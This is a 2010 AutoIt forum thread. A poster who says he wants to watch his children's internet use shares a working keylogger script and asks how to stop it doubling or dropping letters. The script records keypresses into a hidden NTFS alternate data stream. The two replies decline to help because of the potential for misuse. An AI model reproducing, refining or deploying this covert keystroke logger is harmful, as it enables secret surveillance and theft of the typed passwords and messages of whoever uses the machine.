MirnesC2 Posted January 10, 2010 Share Posted January 10, 2010 (edited) Hello, I am trying to make a program some what like a keylogger. But I wont be using this program for any evil purposes, if anything it will be preventing evil! Trying to monitor my kids internet activity more closely so I decided to make a little program to help me out. Here is my test program. (press "K" to view current content in DATA.dat)expandcollapse popup#include <Misc.au3> $dll = DllOpen("user32.dll") FileClose(FileOpen(@ScriptDir&"\DATA.dat", 2)) FileClose(FileOpen(@ScriptDir&"\DATA.dat:LOGS", 2)) While 1 If _IsPressed("4B", $dll) Then MsgBox(0, "Content", FileRead(@ScriptDir&"\DATA.dat:LOGS")) EndIf If _IsPressed("20", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", " ") sleep("150") EndIf If _IsPressed("30", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "0") sleep("150") EndIf If _IsPressed("31", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "1") sleep("150") EndIf If _IsPressed("32", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "2") sleep("150") EndIf If _IsPressed("33", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "3") sleep("150") EndIf If _IsPressed("34", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "4") sleep("150") EndIf If _IsPressed("35", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "5") sleep("150") EndIf If _IsPressed("36", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "6") sleep("150") EndIf If _IsPressed("37", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "7") sleep("150") EndIf If _IsPressed("38", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "8") sleep("150") EndIf If _IsPressed("39", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "9") sleep("150") EndIf If _IsPressed("41", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "a") sleep("150") EndIf If _IsPressed("42", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "b") sleep("150") EndIf If _IsPressed("43", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "c") sleep("150") EndIf If _IsPressed("44", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "d") sleep("150") EndIf If _IsPressed("45", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "e") sleep("150") EndIf If _IsPressed("46", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "f") sleep("150") EndIf If _IsPressed("47", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "g") sleep("150") EndIf If _IsPressed("48", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "h") sleep("150") EndIf If _IsPressed("49", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "i") sleep("150") EndIf If _IsPressed("4A", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "j") sleep("150") EndIf ;~ If _IsPressed("4B", $dll) Then ;~ FileWrite(@ScriptDir&"\DATA.dat:LOGS", "k") ;~ sleep("150") ;~ EndIf If _IsPressed("4C", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "l") sleep("150") EndIf If _IsPressed("4D", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "m") sleep("150") EndIf If _IsPressed("4E", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "n") sleep("150") EndIf If _IsPressed("4F", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "o") sleep("150") EndIf If _IsPressed("50", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "p") sleep("150") EndIf If _IsPressed("51", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "q") sleep("150") EndIf If _IsPressed("52", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "r") sleep("150") EndIf If _IsPressed("53", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "s") sleep("150") EndIf If _IsPressed("54", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "t") sleep("150") EndIf If _IsPressed("55", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "u") sleep("150") EndIf If _IsPressed("56", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "v") sleep("150") EndIf If _IsPressed("57", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "w") sleep("150") EndIf If _IsPressed("58", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "x") sleep("150") EndIf If _IsPressed("59", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "y") sleep("150") EndIf If _IsPressed("5A", $dll) Then FileWrite(@ScriptDir&"\DATA.dat:LOGS", "z") sleep("150") EndIf WEnd DllClose($dll) The problem is that when I type something like "hello how are you" it comes out to something like "helo how ae yo" or "heelo howw arre youu". Is there any way I can fix this? Or a better way to do it other then _IsPressed method? Edited January 10, 2010 by MirnesC2 Link to comment Share on other sites More sharing options...
darkjohn20 Posted January 10, 2010 Share Posted January 10, 2010 To the people on this forum, it doesn't matter what you use a keylogger for, you usually get warned or something and wont get any help. But good luck. Link to comment Share on other sites More sharing options...
Minikori Posted January 10, 2010 Share Posted January 10, 2010 Hello, I am trying to make a program some what like a keylogger.I know it's not for evil purposes, but someone with evil purposes intended could find this thread. For those who are asking questions, look in the help file first. I'm tired of people asking stupid questions about how to do things when 10 seconds in the help file could solve their problem.[quote name='JRowe' date='24 January 2010 - 05:58 PM' timestamp='1264381100' post='766337'][quote name='beerman' date='24 January 2010 - 03:28 PM' timestamp='1264372082' post='766300']They already have a punishment system for abuse.[/quote]... and his his name is Valik.[/quote]www.minikori.com Link to comment Share on other sites More sharing options...
Recommended Posts